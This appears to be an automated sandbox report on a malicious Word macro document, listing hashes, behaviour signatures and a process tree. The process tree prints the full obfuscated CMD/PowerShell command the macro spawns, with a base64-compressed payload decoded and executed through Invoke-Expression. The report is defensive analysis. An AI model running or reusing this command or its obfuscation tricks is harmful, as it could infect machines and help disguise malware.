Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    12-05-2024 02:14

General

  • Target

    37b81642b0e432f46480033814f85b6a_JaffaCakes118.doc

  • Size

    76KB

  • MD5

    37b81642b0e432f46480033814f85b6a

  • SHA1

    3de2f1dc9cd31bcb680f7d9ae43169d7f851672b

  • SHA256

    1aa38e81fe2944358f41c7afa56a4aacbdf1bc6933951219a168f49b3f64c498

  • SHA512

    1b9a2cf4ceddb5b114ce49cdf1c756eebafc04c1f87cbf30b74b3ac779babbdf71314ed26a80af29bc3c5bafeb7e35d4ac422dd1b8114c2051d5d2832a95d366

  • SSDEEP

    768:aDVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9YXxrHZPn6ff9dRUy:aDocn1kp59gxBK85fBt+a9YhlncjR

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\37b81642b0e432f46480033814f85b6a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2344
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2092
      • C:\Windows\SysWOW64\CMD.exe
        CMD c:\wIndows\sYSteM32\CmD /C "sET djCFB= ( New-ObJecT sysTEm.io.comPREssIoN.dEfLATEStREaM( [iO.MemOrYSTReAm][COnVErt]::fromBASe64STRInG('NZBda8IwFED/Sh8CUZzpw9SpoaDo3MThx2QMx15qvFvSpklJUmMV//tama/3nHvgXrRMNpEC39b7BJgLluDIJ+wnUoByFJ3P7xHmzuXDMLSuyEGJNLPEFOF0N/kY/652q9E/9t4TXqgUJJhaeO68dcZldjrcBVutm1zkUNPuygzmvfGdcQmWF86BsUTJ0MvHDbPJ11rcBaPLWFpghRGuFIoRprNw0X9Si+1ggck2l8I18Ag3KTrydRAFuNftYIqSFx8hUMehgyxv4W/cqnkLEzgBpj/aQMx4A73OkkCooL63eXGmvKDqL2SqvZI6PsyEhJvzENTBJp2ro06hPa+itwndV52UXlnsGL9cr38=') ,[SysTeM.IO.COmprEsSion.comprEssIoNmodE]::DecOMPresS)^|ForEaCh {New-ObJecT iO.sTReamReADeR($_, [SYstEM.TEXT.EncoDING]::AScII) }^| FoReACh{$_.REaDToEND() } )^| ^&( $eNV:comSpeC[4,24,25]-JOIN'')&& powERsHEll ( ^& ( \"{1}{0}\"-f 'TeM','i') ( \"{0}{1}{2}\" -f 'ENv:dj','c','Fb' ) ).\"va`LUe\" ^| .(( ^& ( 'gv') (\"{0}{1}\" -f'*Md','r*' ) ).\"N`AMe\"[3,11,2]-joIn'' )"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2588
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powERsHEll ( & ( \"{1}{0}\"-f 'TeM','i') ( \"{0}{1}{2}\" -f 'ENv:dj','c','Fb' ) ).\"va`LUe\" | .(( & ( 'gv') (\"{0}{1}\" -f'*Md','r*' ) ).\"N`AMe\"[3,11,2]-joIn'' )
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2736

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      daac7410ba5dd3cd32db483529232632

      SHA1

      0be20d0ab443c2d293318126d31411ea0fcec1b1

      SHA256

      0ce3622ab9d4c06ff122b49598554723d1dadc470485df2861ee4d2f9bf3bfad

      SHA512

      25d10c7fcc8e0ca4bed0ebbb0904a40045228ea47c5de67f1e243f28a0cf6c58c9cee9dd55387a17440ca6f062700e1461c9b8fbd563c939e07a4b2ecbadc289

    • memory/2344-0-0x000000002F801000-0x000000002F802000-memory.dmp

      Filesize

      4KB

    • memory/2344-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2344-2-0x000000007199D000-0x00000000719A8000-memory.dmp

      Filesize

      44KB

    • memory/2344-6-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2344-7-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2344-8-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2344-21-0x000000007199D000-0x00000000719A8000-memory.dmp

      Filesize

      44KB

    • memory/2344-22-0x0000000000690000-0x0000000000790000-memory.dmp

      Filesize

      1024KB

    • memory/2344-37-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2344-38-0x000000007199D000-0x00000000719A8000-memory.dmp

      Filesize

      44KB